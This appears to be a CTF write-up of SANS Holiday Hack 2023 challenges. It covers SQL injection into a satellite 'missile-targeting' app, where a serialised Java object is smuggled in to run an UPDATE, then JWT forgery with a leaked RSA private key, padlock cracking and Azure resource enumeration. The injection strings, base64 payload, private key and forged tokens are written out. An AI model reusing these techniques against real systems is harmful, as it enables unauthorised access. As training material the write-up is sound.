[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev wg0
[#] ip link set mtu 1420 up dev wg0
root@57ac2c0fef48:~#
Now we are ready to connect. To do this, we open the CTT: Consumer Test Tool in our VNC session and enter our connection data maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory
in the Directory Service URI field. Then we click on Fetch Information and we should see nanosat-mo-supervisor
in the provider list. Next we click on connect to Selected Provider.
Next, we need to power up the camera and the missile-targeting system. We click on the respective entry and then on Start. After a short time, we also receive the appropriate accesses.
All we have to do is get the camera to record an image for us by setting the NumberOfSnapsTaken
value to 1. We then just have to execute the job.
To display the Base64-encoded image, we can start Wireshark, for example, record the traffic and then display the content of the Base64SnapImage
value. We save the TCP stream, cut off the first part and decode the data.
root@57ac2c0fef48:~# cat stream_base64.txt | base64 --decode > stream_base64
base64: invalid input
root@57ac2c0fef48:~#
What remains is a jpg image, which we also copy to our computer via Docker and then display.
The picture also shows the answer to the question of this challenge: CONQUER HOLIDAY SEASON!
Wombley Cube says now to us:
A fellow sabateur, are you? Or just a misguided hero-wannabe?
You think you're saving the holiday season, but you're meddling in something you could never understand!
Yes, I sided with Jack, because Santa's betrayed the elves by forcing us to move our operations to these islands!
He put the entire holiday season at risk, and I could not allow this, I had to do something.
Knowing my skillset, Jack secretly informed me of his plan to show Santa the error of his ways, and recruited me to aid his mission.
Why tell you all this? Because it won't change anything. Everything is already in motion, and you're too late.
Plus, the satellite is state-of-the-art, and -- oh drat, did I leave the admin tools open?
For some reason, I can't move when you're nearby, but if I could, I would surely stop you!
And we get a hint:
Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.
Thwart Jack's evil plan by re-aiming his missile at the Sun.
This objective has no challenge yet
Before we start the task, we establish the connection to the nanosat-mo-supervisor
and the applications. This is a lengthy process, but it has already been described in the previous Camera Access challenge. We should therefore have access at the beginning, and the applications missile-targeting-system
and ´camera` should be started.
Here again the URLs for reference:
We take a look around the missile-targeting-system
application by clicking through the tabs and trying to understand what the programme logic behind the individual functions does. It is important to always keep an eye on the log in the Apps Launcher Service
tab of the nanosat-mo-supervisor
. We notice that there is an Action Debug
in the Action Service
tab, which we can execute and which then leads to the following output:
2023-12-17 23:31:58.556 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 |
Let's just see if we can achieve a simple SQL injection. So let's enter into the field: ; show grants;
I have to admit that I had previously manually enumerated the entire database with union
, only to realise that it could be done much more easily.
2023-12-18 00:21:58.519 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 |
Grants for targeter@%: GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' |
Grants for targeter@%: GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%` |
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%` |
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%` |
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%` |
Grants for targeter@%: GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%` |
At least we have a table that we can write in, so let's take a look at it: ; select * from satellite_query;
2023-12-18 00:25:25.062 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 |
jid: 1 | object: ��srSatelliteQueryFileFolderUtility������ZisQueryisUpdateLpathOrStatementtLjava/lang/String;xpt)/opt/SatelliteQueryFileFolderUtility
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
The results column therefore contains Java code and the object column contains a binary serialised Java object (recognisable in the hex editor by the first bytes AC ED 00 05
).
So let's assume that this table is used to upload a serialised Java object, which is then deserialised on the server. Let's briefly consider what our actual goal is: we want to turn the missile away from the earth towards the sun, so we have to make an entry in a table that we are not actually allowed to write to. If we look at the source code of the SatelliteQueryFileFolderUtility
, we can see that we can also use it to execute SQL code if we provide the correct parameters:
'update pointing_mode set numerical_mode = 1 where id = 1;'
(to target the missile towards the sun)This is clearly a task for the AI:
PROMPT:
I have following java code:
(copied the java source code of SatelliteQueryFileFolderUtility.java)
Please write a short java program which serialized an object of this class, where isQuery is false, isUpdate is false, and pathOrStatement is "/opt/SatelliteQueryFileFolderUtility.java"
ChatGPT:
Sure, I can provide you with a short Java program that serializes an object of the SatelliteQueryFileFolderUtility class with the specified values for isQuery, isUpdate, and pathOrStatement. Serialization in Java is a mechanism of writing the state of an object into a byte stream, which is useful for saving objects to files, sending objects over a network, etc.
Here's the Java program:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeUtility {
public static void main(String[] args) {
// Create an instance of SatelliteQueryFileFolderUtility with specified values
SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
"/opt/SatelliteQueryFileFolderUtility.java", false, false);
// Serialize the object
try (FileOutputStream fileOut = new FileOutputStream("utility.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(utility);
System.out.println("Serialized data is saved in utility.ser");
} catch (IOException i) {
i.printStackTrace();
}
}
}
PROMPT: Please write another short java program which serialized an object of this class, where isQuery is true , isUpdate is true , and pathOrStatement is "update pointing_mode set numerical_mode = 1 where id = 1;"
ChatGPT:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeUtility {
public static void main(String[] args) {
// Create an instance of SatelliteQueryFileFolderUtility with specified values
SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(
"update pointing_mode set numerical_mode = 1 where id = 1;", true, true);
// Serialize the object
try (FileOutputStream fileOut = new FileOutputStream("utility.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(utility);
System.out.println("Serialized data is saved in utility.ser");
} catch (IOException i) {
i.printStackTrace();
}
}
}
Of course, we have to compile and execute this first (all on the provided Docker container):
apt-get update
apt-get install openjdk-17-jdk
...
wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.8.6/gson-2.8.6.jar
javac -classpath gson-2.8.6.jar SatelliteQueryFileFolderUtility.java
javac -classpath . SerializeUtility.java
/usr/bin/java -classpath . SerializeUtility
Serialized data is saved in utility.ser
Of course, we have to upload our payload back to the server via the SQL injection, since the object is binary, we convert it to base64 beforehand.
cat utility.ser | base64 -w 0
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAA5dXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlID0gMSB3aGVyZSBpZCA9IDE7
And on the server:
; insert into satellite_query (object) values(from_base64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAA5dXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlID0gMSB3aGVyZSBpZCA9IDE7'));
We want to check if we've been successful:
; select * from pointing_mode;
2023-12-18 00:49:29.980 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 |
id: 1 | numerical_mode: 1 |
And we have indeed managed to ward off all dangers!
What does Wombley Cube tell us now?
A... missile... aimed for Santa's sleigh? I had no idea...
I can't believe I was manipulated like this. I've been trained to recognize these kinds of tactics!
Santa should never have put the holiday season at risk like he did, but I didn't know Jack's true intentions.
I'll help you bring Jack to justice...
But my mission to ensure Santa never again compromises the holidays is still in progress.
It sounded like the satellite crashed. Based on the coordinates, looks like the crash site is right near Rudolph's Rest.
Use the door to the right to return to the resort lobby and see what happened!
Don't worry, I'll meet you there... trust me.
Let's go back to Rudolph's Rest last and meet some friends there:
Santa
You've done it! You've saved me and my sleigh from Jack Frost's dastardly plan!
I must admit, it's astonishing the lengths Jack will go to in order to try and stop the holiday season.
Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.
And to think he even recruited one of my dear elves... I never saw that coming. Oh, Wombley...
But thanks to your incredible efforts, we've proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!
I can't thank you enough for your help in protecting the magic and joy of this special time of year.
I'd like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.
Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!
Ho ho ho, happy holidays!
Trolls
Relax, bub. We're just here for Jack Frost. He broke Frostian and Earth law.
The most important condition of his parole agreement was that he’d never set foot on Earth again.
To evade the missile, his ejection pod landed on Geese Islands, so he’s back on earth, violating the explicit terms of his parole.
Don't care he wouldn't have done it if the missile coordinates weren't tampered with. Rules are rules. Jack's time on Earth is finally up. We're taking him back.
Frostian justice waits for no one. Not even Jack. End of story.
And I just really want to be able to boss him around for a change. Keh heh heh.
Thank you so much!
We assure you and Santa Clause that Jack Frost will be brought to justice!
Jack Frost
Okay, listen up, yes I've been caught, but let me tell you, my plan was incredible, I mean really incredible.
I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.
My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.
I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa's operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.
And Wombley, the elf, joining me? Easy. He was so easy to convince.
You see, there's a big, big dissent in Santa's ranks, huge.
The elves, they're not happy with Santa.
Mark my words, even if I don't stop Santa, his own elves will.
It's going to be tremendous, this you will see.
Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
Hey there! I'm Bow Ninecandle, and I've got a bit of a... 'pressing' situation.
You see, I need to get into the lavatory, but here's the twist: it's secured with a combination padlock.
Talk about bad timing, right? I could really use your help to figure this out before things get... well, urgent.
I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.
Remember, we're aiming for quick and easy solutions here - nothing too complex.
Once we've gathered a few possible combinations, let's team up and try them out.
I'm crossing my legs - I mean fingers - hoping we can unlock this door soon.
After all, everyone knows that the key to holiday happiness is an accessible lavatory!
Let's dive into this challenge and hopefully, we won't have to 'hold it' for too long! Ready to help me out?
I watched the HelpfulLockPicker video three times to follow the steps exactly. Another good video explaining the methodology can be found here.
According to the video we want to find the sticky number and the two guess numbers.
We are going to turn the lock clockwise several times to reset the lock (by double clicking the dial).
We put some tension on the shackle and pull up until it seizes the lock and let off a bit so we can start turning the lock (the tension status color must be brown).
Now we're going to turn the dial clockwise and keep turning until the dial stops on a number. We repeat this a few times to find 12, where it stops.
These are going to lie between 0 and 11.
We are applying heavy tension to the shakle (tension status color must be red) and turn the dial to find a position where it's going to sit in the middle of two half numbers.
The first guess number is 3. The second guess number is 10. For all other positions it doesn't stop in the middle of two numbers.
Sticky Number: 12
12 + 5 = 17, so 17 must be the first digit.
First digit was: 17
17 / 4 = 4 with remainder of 1 (4 is always constant for all locks)
Guess numbers were: 3 and 10
We're adding ten to each
3 - 13 - 23 - 33
10 - 20 - 30 - 0
These are possible combinations for the lock
To find now the two possibilities we divide each of these numbers by 4 and note the numbers with the same remainder of 0:
13/4 = 3 rem. 1
33/4 = 8 rem. 1
So these numbers may be a third combination of our lock.
We are further reducing the possibilities by turning the dial to those numbers and applying heavy tension to the shakle again.
33 feels a lot looser than 13 so 33 must be the third combination.
We're adding 2 to our remainder and add 8 to it 4 times:
3 - 11 - 19 - 27 - 35
We're adding 2+4 to our remainder and add 8 to it 4 times:
7 - 15 - 23 - 31 - 39
The second and the third digit need to be greater than two away so we can eliminate 31 and 35.
Let's try all those possibilities:
Important: pass the 2nd digit once! (see the following image):
Cool, successful at the first attempt: 17 - 3 - 33
Bow Ninecandle adds
Oh, thank heavens! You're a lifesaver! With your knack for cracking codes, we've just turned a potential 'loo catastrophe' into a holiday triumph!
Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.
Heya, think you could help Piney Sappington on Rainraster Cliffs on Pixel Island and then give me a hand?
After solving the objective Elf Hunt from Piney Sappington:
Ahoy there, I'm Chimney Scissorsticks!
You may have noticed some mischief-makers planning to stir up trouble ashore.
They've made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR).
The new SDR uses some fancy JWT technology to control access.
The captain has a knack for shortening words, some sorta abbreviation trick.
Not familiar with JWT values? No worries; just think of it as a clue-solving game.
I've seen that the Captain likes to carry his journal with him wherever he goes.
If only I could find the planned "go-date", "go-time", and radio frequency they plan to use.
Remember, the captain's abbreviations are your guiding light through this mystery!
Once we find a JWT value, these villains won't stand a chance.
The closer we are, the sooner we'll be thwarting their pesky plans!
We need to recreate an administrative JWT value to successfully transmit a message.
Good luck, matey! I've no doubts about your cleverness in cracking this conundrum!
And we get the following hints:
I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.
Web Interception proxies like Burp and Zap make web sites fun!
I've seen the Captain with his Journal visiting Pixel Island!
A great introduction to JSON Web Tokens is available from Auth0.
Find a private key, update an existing JWT!
First, we open a proxy, e.g. the Burp Suite
, to make it easier to process our requests later. Burp Suite also contains the appropriately configured browser in which we start the game.
The first thing we see is a help window:
The newly appointed Geese Islands Communications Captacn has been
monitoring some off-shore transmissions using the newly installed
'Just Watch This' Software Defined Radio (SDR) system. The Captain
suspects that a group of miscreants sailing about the islands plan to
come ashore and cause trouble. The Captain would like to find their
anticipated 'go-time' frequency, the planned date and hour for their
incursion, and lure the miscreants ashore at a time when the island
authorities are sufficiently prepared and ready by transmitting a
message announcing a new 'go-time' which is four hours earlier than
what the miscreants have planned.
Different items in the communications area may be interacted With by
clicking on them. Some (but not all) items will show a thin yellow
border if they're interactive. Some items will require AUTHORIZATION
With a different ROLE not immediately granted when entering the
communications shack. Explore the Captain's Comms, learn how to use
the 'Just Watch This' SDR, and use the Captain's transmitter to send
the misleading message With the correct frequency, date, and new time
to prevent he miscreants from interrupting everyone's holiday cheer.
There are many interactive areas. The complete overview can be seen here:
When we try to use the Captain's SDR, we get an error message:
Unauthorized Access!
radioMonitor Users Only!
For the first start, only the manuals and notes are available to us. However, these contain everything we need to get ahead.
Here is the first hint:
During the installation of your Just Watch This
radio system, the 'rMonitor.tok' file containing the
'radioMonitor' role token was created in the
'/jwtDefault' directory.
Let's open the following URL in a second tab: https://captainscomms.com/jwtDefault/rMonitor.tok
Invalid authorization token provided.
That was clear, of course. The bearer token is missing in this call in a separate tab. We copy a token from an original request and insert it into Burp Suite via the repeater. If we now send the request again, we get access:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
If we copy this JWT token to https://jwt.io/ we can see that this token belongs to the radioMonitor role. We should now be able to use the Captain's SDR. To do this, we send the request back through the repeater when we open the Captain's SDR and replace the bearer token with the one we have just received:
Here is the second hint:
(Status: I moved the private key to a
folder I hope no one will find. I created
a 'keys' folder in the same directory
the 'roleMonitor' token is in and put
the public key 'capsPubKey.key' there.)
Once we have the roleMonitor
token, we also get the public key so that we can issue our own tokens. Let's call up the following URL with our new Bearer Token: https://captainscomms.com/jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----
Here is the third hint:
With the SDR window open, simply Click
on a signal peak while using the
'radioDecoder' ROLE token in order to
hear and decode a signal..
Here we have to guess a little. We already know that the token is called rMonitor.tok
for the radioMonitor
role. So let's just try it with a token called rDecoder.tok for a radioDecoder role and call the following URL: https://captainscomms.com/jwtDefault/rDecoder.tok
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
With our new role, we can now use all areas in the Captain's SDR and receive the following information when clicking on the other areas:
https://captainscomms.com/static/images/dcdCW.mp4
... CQ CQ CQ DE KH644 -- SILLY CAPTAIN! WE FOUND HIS FANCY RADIO
PRIVATE KEY IN A FOLDER CALLED TH3CAPSPR1V4T3F0LD3R ...
https://captainscomms.com/static/images/dcdFX.mp4
Freq: 10426 Hz
https://captainscomms.com/static/images/dcdNUM.mp4
{music} {music} {music} 88323 88323 88323 {gong} {gong} {gong}
{gong} {gong} {gong} 12249 12249 16009 16009 12249 12249 16009
16009 {gong} {gong} {gong} {gong} {gong} {gong} {music} {music}
{music}
Now let's get the last piece of the puzzle, the private key. We now know the folder from the clues, the name requires a bit of guesswork again. We know the name of the public key, so we can quickly think of a possible name for the private key: https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
From the Captain's diary, which we also found, we also know the role we need to play in order to use the Captain's Transmitter: GeeseIslandsSuperChiefCommunicationsOfficer
So let's go back to https://jwt.io/ and create a token by entering everything we found out earlier:
HEADER:ALGORITHM & TOKEN TYPE
{
"alg": "RS256",
"typ": "JWT"
}
PAYLOAD:DATA
{
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "GeeseIslandsSuperChiefCommunicationsOfficer"
}
VERIFY SIGNATURE
<insert public and private key from above>
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
Now we start the Captain's Transmitter and make sure that we give exactly this Bearer Token:
After all, we are supposed to transmit a signal that is 4 hours before the actually announced time. In order to arrive at the correct values, a bit of fiddling is required.
We already know the frequency: Freq: 10426 Hz (from the transmitter)
We assume the date to be 1224 (24 December) (from the transmitter) and the time to be 1200 (also from the transmitter, but not 16:00 but 12:00).
We enter the whole thing in exactly the same way and press the TX button to send our message:
Yeah, we succeeded!
Chimney Scissorsticks adds:
Brilliant work! You've outsmarted those scoundrels with finesse!
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?
Hi there, could you do me a quick favor?
Can you go and check on Alabaster Snowball for me? He's at Rainraster Cliffs on Pixel Island. I heard some rumors he's been experimenting with ChatNPT again and I'm a little worried about what he's cooking up.
Thank you so much!
Please let me know what you find out.
After helping Alabaster Snowball Ribb Bonbowford says
Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
And he gives us another hint:
It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.
We have already accessed the REST API in the challenge SSHenanigans
. We also have SSH access as monitor@ssh-server-vm
and as alabaster@ssh-server-vm
. This is already a useful basis.
Firstly, we should find out what we have access to. AI will certainly help us here.
PROMPT: How can I enumerate all resources I have access to using Azure REST API?
ChatGPT:
Enumerating all resources you have access to in Azure using the Azure REST API involves querying the Azure Resource Manager for a list of all resources. Here's a general approach to achieve this:
GET https://management.azure.com/subscriptions/{subscriptionId}/resources?api-version=2021-04-01
. Replace {subscriptionId}
with your Azure subscription ID.Authorization: Bearer {access_token}
.We use the bearer token from the previous challenge and send the request again in Postman:
GET https://management.azure.com/subscriptions/{{subscriptionId}}/resources?api-version=2021-04-01
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
}
]
}
We want to look into this vault without using the AI, we use the Microsoft documentation directly and send the following query:
